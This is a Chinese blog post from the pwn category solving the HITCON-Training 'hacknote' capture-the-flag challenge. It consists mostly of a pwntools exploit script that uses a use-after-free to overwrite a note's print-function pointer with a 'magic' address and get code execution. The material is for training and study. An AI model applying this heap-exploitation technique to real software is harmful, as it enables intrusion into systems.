hitcontraining hacknote

最新推荐文章于 2024-09-03 21:45:29 发布

「已注销」

最新推荐文章于 2024-09-03 21:45:29 发布

阅读量151

点赞数

CC 4.0 BY-SA版权

分类专栏： pwn

本文链接：https://blog.youkuaiyun.com/pondzhang/article/details/106221414

pwn 专栏收录该内容

38 篇文章

订阅专栏

本文通过具体示例，深入解析了Hacknote程序中的漏洞利用技巧。利用Python的pwntools库，演示了如何通过添加、删除和打印笔记来控制程序流程，最终实现任意代码执行。文章详细介绍了每个步骤的技术细节，包括创建大小为16的笔记两次，删除这两个笔记，然后添加包含magic地址的笔记，最后打印笔记以触发漏洞。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

from pwn import *
p = process('./hacknote')
def add(size, content):
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('Note size :', str(size))
    p.sendlineafter('Content :', content)
def delete(idx):
    p.sendlineafter('Your choice :', '2')
    p.sendlineafter('Index :', str(idx))
def prints(idx):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('Index :', str(idx))
magic = 0x08048945
add(16, '')
add(16, '')
delete(0)
delete(1)
add(4, p32(magic))
prints(0)
p.interactive()